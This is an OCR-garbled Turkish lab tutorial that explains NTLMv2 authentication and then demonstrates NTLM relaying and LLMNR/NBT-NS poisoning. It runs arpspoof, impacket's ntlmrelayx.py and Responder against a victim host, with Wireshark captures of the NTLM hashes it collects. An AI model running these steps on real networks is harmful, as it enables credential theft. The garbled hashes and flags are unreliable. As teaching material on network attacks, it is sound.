NTLM RELAYING AND LLMNR
POISONING
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Baslangi¢ asamasinda girdi olarak alinan kullanici adinin yaninda parola bir hash ile sifrelenir ve
artik parola iletimi hash bigceminde dogrulama da kullanilr.

AUTHENTICATION REQUEST (1)
Alinan girdilerden sonra kullanici1 windows sunucuya dogrulama isteginde bulunur.
SEND NTLM CHALLENGE (2)

Bu istegin ardindan windows sunucu kullaniciya bir challenge hash veya nonce hash degeri
gonderiri bu gonderilen hash degeri 8 byte uzunlugundadir.

SC = 8-byte server challenge, random
(Server Challenge)

USERNAME + CLIENT RESPONSE HASH + SERVER CHALLENGE (3)
Gelen hash degerini alan kullanici ise bu degeri asagidaki formatta ki gibi geri génderir.

SC = 8-byte server challenge, random

(Server Challenge)

CC = 8-byte client challenge, random

(Client Challenge)

CC* = (X, time, CC2, domain name)

v2-Hash = HMAC-MD5(NT-Hash, username, domain name)
LMv2 = HMAC-MDS5 (v2-Hash, SC, CC)

NTv2 = HMAC-MD5(v2-Hash, SC, CC*)

Response = Lmv2 | CC | Ntv2 | CC*



Bu yapiy1 sirasi ile inceledigimizde ilk olarak server tarafindan génderilen server challenge hash
degerini goriyoruz.
Bu na yamt olarak kullamci 8 byte uzunlugunda client challenge rastgele bir sekilde tretir.
Ardindan urettigi bu hash degeri

USERNAME+ RESPONSE HASH + SERVER CHALLENGE (4)
Ardindan bu degerleri sunucu active directory ortaminda ki kullanici nesneleri , gruplar ve grup
uyeligi hakkindaki bilgiler dahil olmak tzere Active Directory verilerini depolayan bir veritabam
olan “ntds.dit” dosyasinda sorgular.

AUTHENTICATE REPLY (5)

Son olarak sorgulama isleminden sonra dogrulama islemini gerceklestirir. Eger gonderilen
degerler Belirtilen NTDS.dit dosyasinda mevcut ise oturum baslatilir.

Bir Active Directory Domain yapisindan s6z edilmez ise NTLMv2 Dogrulamayi nasil
gerceklestirir bunun igin asagidaki semadan yola ¢ikalim.

Authentication Request (1) I:l

Send NTLM Challenge (2)

Username + Client Response hash + Server Challenge(3)

Authenticate Reply (4)

e
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AUTHENTICATION REQUEST (1)
ilk olarak kullamci oturum icin yine DC ortaminda oldugu gibi bir dogrulama isteginde bulunur.

SEND NTLM CHALLENGE (2)
Bu istegi alan sunucu kullaniciya 8-byte uzunlugunda rastgele Uretilen bir challenge hash gonderir.



USERNAME+CLIENT CHALLENGE+SERVER CHALLENGE (3)

Ardindan Sunucu tarafindan gonderilen challenge degerini alan kullanic active directory ortaminda
oldugu gibi ¢éziimler ve sunucu Uzerinde

AUTHENTICATION REPLY (4)
Sunucu kullamcidan aldig1 ntimv2 protokol cevabim SAM (SECURITY ACCOUNT MANAGER)
dosyasinda sorgular bu dosya windows sistem (izerinde (%SystemRoot%/system32/config/SAM)
yolunda tutulur. Eger bu dosya i¢inde tutulan degerler dogru ise oturum baslatilir.

Sunucudan kullamciya giden challenge hash formati 6zellikleri agagidaki gibidir.

» 1122334455667788

Kullanicidan alinan ve sunucuya challenge hash cevabi olarak génderilen NTLMV2 cevap format
asagidaki gibidir.

faruk::CLIENT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5¢c783
0315¢7830310000000000000b45¢c67103d07d7b95acd12ffa11230e0000000052920
b85f78d013c31cdb3b92f5d765c783030

e <username>::
Bu alanda dogrulama yapmak isteyen kullanicinin kullanici adi yer ahr .

* <Domain Name or Workgroup>:
Bu alanda ise kullamcimn dahil oldugu Active Directory domain ismi veya eger kullanici bir
Domain ortam kullanmiyor ise Workgroup ismi eklenir.

» <Server random hash>:
Bu alanda ise sunucudan alinan ve rastgele Uretilen sunucu hash challenge degeri yer alr.

» <Client Random hash>:
Bu alanda ise sunucunun gonderdigi challenge hash degerine karsin kullanici tarafindan
uretilen hash degeri vardir.

* <NTLM Response>
Bu alanda ise parola hash eklenir ve NTLM versiyonuna gore sifrelenme bicemi farkhhk
gosterir NTLMV2 de HMAC-MD5 bigeminde sifreleme gerceklestirilir.



NTLM RELAYING

Ntlm servisinin nasil dogrulama yaptigin anladik simdi bu dogrulamay: kéttiye kullanip istismar
edelim bunun igin NTLM Relay saldirisimin temeline bakahm ve bu islemin nasil gergeklestigini
kavrayahm.

Bu durumu kavramak icin agagidaki gorsel faydah olucaktir.
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Yukarida anlatilan NTLMv2 bir Domain yapisinda ki dogrulama islemleri gergeklesirken
saldirganin bu islemleri yonlendirip istedigi hash bilgilerini almasi gibi kisa bir agiklama yaparak
baslayahm.

i1k olarak saldirgan ag icerisinde sunucu ve kullanici’nin arasina girmek icin bir man in the mittle
veya arp spoofing saldirisi ile bu durumu gerceklestirir.
Gergeklestirilen bu saldiridan sonra saldirgan smb sunucusu da dahil olmak tizere birgok sunucu
cahistirmak ve bunu kurban makina olan kullaniciya aktarmak icin impacket icerisinde yer alan
ntimrelayx.py programim gahstirir.

Ardindan Responder aracin galigtirarak kurbana sahte yanitlar génderir ve bu sayede kurbandan
istedigi NtIm hash degerini alir.Hadi bunu uygulamada gergeklestirip wireshark arac ile paketleri
yakaladiktan sonra incelemesini gergeklestirelim. Bu uygulamamizda senaryo asagidaki gibi bir
topolojide isliyor.
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Topolojide cihazlarimizin ne oldugunu islemlerin nasil gergeklesecegini yukaridaki saldirn mantig:
ile anlatalim.

Baslangi¢ asamasinda arpspoof aracimiz ile arpspoofing saldirisim baslatip sunucu ile kullanici
arasina girip ag paketlerini Uizerimizden gegmesine olanak taniyoruz.
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Bu islemin ardindan ‘impacket’ icerisinde bulunan ntimrelayx.py programin -t parametresi ile
calistirip hedef olarak kullamci ipv4 adresini ekliyoruz bu program sayesinde smb sunucusu da
dahil olmak tizere kali makinamizda bir sunucu gibi davranabilecegiz ve hedef kullanici’nin
dogrulama isteklerini tGzerimize ¢ekebilecegiz.



impacket/examples$ sudo python3 ntlmrelayx.py -t 192.168.235.131

[sudo] passw
Impacket v@8.9.22.devl+2 813.221956.1c893884 - Copyright 2828 SecureAuth Corporation

[#] Protocol Client HTTPS loaded.
[#] Protocol Client HTTP loaded..
[#] Protocol Client MSSQL loaded.
[*#] Protocol Client SMTP loaded ..
[#] Protocol Client IMAP loaded ..
[#] Protocol Client IMAPS loaded..
[#] Protocol Client SMB loaded ..
[#] Protocol Client LDAPS loaded.
[#] Protocol Client LDAP loaded..
[#] Protocol Client RPC loaded..
[*] Running in relay mode to single host

[#] Servers started, waiting for connections

Yukanidaki ekran gorunttsunde goraldigi Gzere program baslatildiginda bir sunucu gibi
davranabilmesi igin bircok servis baslatildi.

Bunun ardindan kendimizi bir sunucu gibi gosterebilmemiz igin aym zamanda gelen isteklerin ne
olduguna ve nasil cevap verilmesi gerektigi de gereklidir.
Bu agidan Responder aracim kullanmak bize biylk fayda saglayacaktir. Kullanci arpspoof
saldinisindan otdird artik bizi hedef suucu olarak gordiigtinden NTLM sorgularinm bize dondurecektir
ve bizde ona Responder tarafindan olusturulmus challenge degerini gdnderip buna kars: gelen
kullanici adh ve parola hash degerini ele gegiricegiz .
Responder aracimizi asagidaki ekran goruntiisiinde ki gibi baslatiyoruz.
$ sudo python Responder.py -1 ethO -v

:~/Desktop der$ sudo python Responder.py -I eth® -w

NBT-NS, LLMNR & MDNS Responder 2.3

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

[+] Poisoners:
LLMNR [oN]
NB ] [on]
DNS/MDNS [on]

[on]
[on]

[OoN]
[OoN]
[OoN]
[oN]
[on]
[oN]
[on]
[oN]




Artik hersey hazir olduguna gore tek yapmamiz gereken kullanici’mn dogrulama yapmasini
beklemek.Biraz bekleme isleminden sonra asagidaki ekran goriintisinde gosterildigi gibi
Kullamcimn NTLM cevabina ulastik ve Responder ona dogrulama’min gegersiz oldugunu gonderdi.

Simdi bu islemler ag igerisinde nasil gergeklesti wireshark aracimiz ile filtreleme yaparak
inceleyelim ardindan yorumlayalim.

Asagidaki ekran gorintisunde yakalanan paketlere baktigimizda ilk olarak yukarida saldiri ‘nin
nasil gergeklestigini anlattigimz kisa anlatimda ilk durumla karsilasiyoruz yani kullamci saldirgana
bir dogrulama talebinde bulunuyor .

Wireshark ta bu paketi hizh bir lekilde elde etmek igin asagidaki filtrelemeyi kullanabilirsiniz.

[ip.src_host == 192.168.235.131 && smb]

271 91.881571340 192.168.235 192 .168.235,142 1896 Session Setup AndX Request, NTLMSSP_NEGOTIATE

274 91.905000257 192,168.235.131 192.168.235,142 SMB 532 Session Setup AndX Request, NTLMSSP_AUTH, User: CLIE.
277 91.927373686 192.168.235.131 192.168.235.142 SMB 144 Tree Connect AndX Request, Path: “\TUYGUN.LABMIPCH
280 91,929948744 192.168.235.131 192.168.235.142 SMB 156 Trans2 Request, GET_DFS_REFERRAL, File: “tuygun.lab\.
326 106.313589102 192.168.235,131 192.168.235,142 SMB 213 Negotiate Protocol Request

Ardindan saldirgan makinanin yukaridaki kullanicinin istegine nasil cevap verdigine bakmak
istedigimizde asagidaki filtreleme ile segilen paketi goriyoruz.

[ip.src_host == 192.168.235.142 && smb]

[ | 273 91,902401821 192.168.235,142 192.168.235.131
276 91.926676748 192.168.235,142 192.168.235.131 SMB 238 Session Setup AndX Response
| 279 91.928988250 192.168.235.142 192.168.235.131 SMB 114 Tree Connect AndX Response
328 100.314617038 192.168.235.142 192.168.235.131 SMB 236 Negotiate Protocol Response

Secilen paketi inceledigimiz de asagidaki ekran goruntusundeki gibi Responder tarafindan
olusturulan challenge degerini “nin gonderildigini goriyoruz.

responseToken: 4e544c4d53535000020000000a000a0038000000158289¢e2..
= NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_CHALLENGE (0x88000002)
~ Target Name: SMB12
Length: 1@
Maxlen: 18
Offset: 56 ) -
» Negotiate Flags: Oxe2B898215, Negotiate 56, MNegotiate Key Exchange, Negotiate 128, Negotiate Versio.
Reserved: D0B000HODODOEDEEE
» Target Info



Ardindan kullanicininin parolasinin hash degerinin tutuldugu Ntlm dogrulama paketini incelemek
icin asagidaki ekran gorintusunde ki gibi [ip.src_host == 192.168.235.131 && ip.dst_host ==
192.168.235.142 && ntlmssp] filtresini kullanyoruz.

L] |ip.src_h05t == 192.168.235.131 && ip.dst_host == 192.168.235.142 && ntimssp [X] -] +
No. Time Source Destination Protocol  Lengtt Info

| 271 91.881571346 192.168.235.131 192.168.235.142 SMB 196 Session Setup AndX Request, NTLMSSP_NEGOTIATE
] 274 91.905000257 192.168.235.131 192.168.235.142 532 5ession Setup AndX Regquest, NTLMSSP_AUTH, User: CLIE.

329 100.315656581 192.168.235.131 192.168.235.142 SMB 196 Session Setup AndX Request, NTLMSSP_NEGOTIATE
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Secilen paket incelendiginde asagidaki gibi Responder da yakaladigimiz hash degerini
gorebiliyoruz.

= NTLM Secure Service Provider a
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x20008803)
~ Lan Manager Response: QG202Q000E00EGE000R0000EE00RCR0E00GE0000RE000000E
Length: 24
Maxlen: 24
Offset: 126
LMv2 Client Challenge: BE0EG888ECEEEEE0
~ NTLM Response: 7h2fbbB545The7@dc6@352c4c2T200050101000000000000..
Length: 228
Maxlen: 228
Offset: 1560
» NTLMv2 Response: 7b2fbbB545fbe78dcB8352cdc2f200050101000000000000..
~ Domain name: CLIENT1
Length: 14
Maxlen: 14
Offset: B8

LLMNR/NBT-NS POISONING

Bu saldirty: anlamak icin 6ncelikle LLMNR Protokoliiniin nasil calistigini anlamamiz ve bu
¢alisma’mn temelinde neler olup bittigini bilmemiz gerekmektedir.

LLMNR servisi ag icerisinde DNS ¢6ziimlemesi yapan sunucunun zarar gérmesi veya
kullanilamamasi gibi durumlarda devreye giren ve bu servis sayesinde ag icerisindeki komsu
cihazlara sorgulama gerceklestiren ana makina isim adresi ¢oziimlenir.

Bu islem aslinda ag igerisindeki bir saldirgan igin gayet basit bir mantikla sorgulanan ismin kendisi
oldugunu sdyleyerek NTLM dogrulamasi gibi igin kullanmci tarafindan génderilen bilgileri ele
gegirir.
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Yukarnidaki saldiri topolojisini agiklarsak baslangigta kullanici ag icerisindeki DNS sunucu’da sorgu
adi’mn adres ¢6zlimlemesini ister fakat zarar gérmis veya bu sorgu igin cevap veremeyen bir dns
sunucusu kullaniciy1 LLMNR Protokoliini kullanmaya zorlar.

Ardindan kullanici tum ag icerisinde LLMNR protokolu kullanarak bir broadcast sorgusu
gerceklestirir(LLMNR Veya NBT-NS Broadcast yayim UDP/5355, UDP/137 numarah portlardan
gerceklestirilir. )

Bu yayini bahsedilen portlardan dinleyen saldirgan kendisini sorgu yapilan isim olarak gosterir ve
sonra kullanici artik ¢6ziimlemesini istedigi isim i¢in bir dogrulama yapmak icin saldirgana istek
gonderir saldirgan yukarida anlatilan NTLM dogrulama mekanizmasini kullanarak kullanici’nin
kritik hash bilgilerini ele gegirir.

Bu durumdan aslinda farkl olmayarak hatah yazilan baglant1 dizin ya da dosyalar sonucunda
kulllanici ag icerisindeki yukarida bahsi gegcen LLMNR sorgu durumunu gergeklestirecektir.
Ve Sonug olarak yine saldirganin tuzagina diserek dogrulama hash degeri ele gegcirilir.

Simdi Bu saldirtyr uygulamal bir sekilde gosterelim.

Baslangi¢ olarak Responder aracimizi baglatiyoruz bu sayede istenen ana bilgisayar ad1 icin kendi
adresimizi verip dogrulama bilgilerini elde edicegiz.



op/Responder$ sudo python Responder.py -I eth@ -v

Author: Laurent Gaffie (laurent.gaffiefgmail.com)
To kill this script hit CRTL-C

[+] Poisoners:
LLMNR [oN]
NBT-NS [oN]
DNS/MDNS [oN]

[oN]
[on]

Ardindan ag ortaminda NBT-NS sorgusu gerceklestirecek olan kullaniciyr bekliyoruz ve kullanici
tam da istedigimiz gibi yanhs bir arama gerceklestirdi ve agda kullanilan DNS sunucusu bu adin
kendisinde mevcut olmadigini cevap donderdi ardindan ag icerisinde kullanict NBT-NS sorgusunu
yapti ve bu sorguyu bekleyen Responder araci saldirganimizin kali cihazi ile aranan adresin
kendisinde oldugunu ileterek dogrulama mekanizmasi igin kritik bilgileri elde ederek kullaniciya
hata messaji olarak geri donderdi.

.168.235.131 for name TUYGUN.LA (service: File Server)

Ardindan yukaridaki ekran gorunttisiindeki gibi kullamcimn hash bilgileri elde edildi.Bu durumun
ag icerisinde wireshark araci ile inceledigimiz de asagidaki analizden s6z etmemiz mimkundur.

Asagidaki gibi wireshark ‘ta ip adresi filtrelemesini kullanarak saldirganin NBT-NS protokol istegi
gerceklestiren kullaniciya cevap paketini gérebiliriz.

[N \\p.src_host == 192.168.235.142 && ip.dst_host == 192.168.235.131 %]

No. Time source Destination Protocol Length Info
8 192, 16 .235,142 192.168.235,131

6. 192.168.235.131 TCP. 76 [SYN, ACK] 642 =
74 16.414566350 102.168.235.142 192.168.235.131 TP 54 445 ~ 49375 [ACK] Seq=1 Ack=138 Win= 54128 Len=o
75 16.415920255 192.168.235.142 192.168.235.131 SKB 236 Negotiate Protocol Response

Paket igerigini inceleme altina aldigimizda asagidaki gibi bir sonug ile karsilasiriz.Bu sonuca gore
UDP/137 numarah port’tan gonderilen(NBT-NS UDP/137 Kullanir) cevap igeriginde aranilan
tuygun.la adresinin kendisi oldugunu ve ip adresinin 192.168.235.142 oldugunu géndermis
bulunmakta.



~ User Datagram Protocol, Src Port: 137, Dst Port: 137
Source Port: 137
Destination Port: 137
Length: 7@
Checksum: Ox7@ab [unverified]
[Checksum Status: Unverified]
[Stream index: 10]
» [Timestamps]
~ NetBIOS Name Service
Transaction ID: @x97T8
» Flags: ©x8500, Response, Opcode: Name query, Authoritative, Recursion desired, Reply code: No error
Questions: @
Answer RRs: 1
Authority RRs: @
Additional RRs: @
~ Answers
TUYGUN<1b>: type NB, class IN
Name: TUYGUN<lb> (Domain Master Browser)
Type: NB (32)
Class: IN (1)
Time to live: Z minutes, 45 seconds
Data length: &
~ Name Tlags: @x9008@, ONT: B-node (B-node, unique)
Hadinla Name type: Unique name
e ONT: B-node (8)
Addr: 192.168.235.142

Bu analizin ardindan kullanici’nin saldirgana gonderdigi dogrulama sonug degerine g6z atalim.

BEs - +

[ Jip.src_host == 192.168.235.131 &G smpb|

No. Time Source Destination Protocol Lengtt Info

§ 40.000355781 192.168.235.131 192.168.235.145 SMB 213 Negotiate Protocol Request
35 4.427368438  192.168.235.131 192.168.235.255 BROWSER 216 Get Backup List Request
52 B8.984445871  192.468.235.131 192.168.235.145 BROWSER 216 Get Backup List Request

| 73 16.414554533  102.168.235.131 168.2: : 191 Kegotiate Protocol Request
76 16.417131561 192.168.235.131 SMB 196 Session Setup AndX Request, NTLMSSP_NEGOTIATE

g 16.420770929 168238 92, 235,14 532 Session Setup AndX Request, NTLMSSP_AUTH, User: CLIENTi\Lenovo

| 82 16.423562308 192.168.235.131 192.168.235.142 SMB 142 Tree Connect AndX Request, Path TUYGUN. LANIPCS

OE 48 ANADAGAEN 407 4R0 D0 494 407 420 998 140 cupn AED MT Feantn And¥ Damone + Dbk Lem

Secilen bu paketi inceledigimizde Responder taradindan elde edilen tim challenge degerlerini

gorebiliyoruz.
e By = Compressed Data: Compressed data transfer is not supported
s = Dynamic Reauth: Dynamic Reauth is supported
1. B Eans = Extended Security: Extended security exchanges are supported
Byte count (BCC) 415
~ 'Security Blob ] :0482018a4e544c40535356000...

~ GS5-API Generic Securlty’Seerce Appllcatlon Program Interface
~ Simple Protected Negotiation
~ neglokenTarg
responseToken: 4e544c4d53535000030000001800180080000000e200a200...
NTLM Secure Service Prov

NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x80008003)
¢ Lan Manager Response: 0888008000000000000P000RR00REER00BE0DERGREN0ERE0E
[MyZ Client Challenge: 00000G0P00000C00
NTLM Response: db3eec6653438dec57bd825972720bb601010000600000EE...
Domain name: CLIENT1
User name: Lenovo
Host name: CLIENT1
Session Key: 265537306c2deB971a4b501TT32aeh08
Negotiate Flags: Oxe2B888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, MNegotiate
Version 6.1 (Build 76@1); NTLM Current Revision 15
MIC: fd8aB23984794bd4eb3543c218162731
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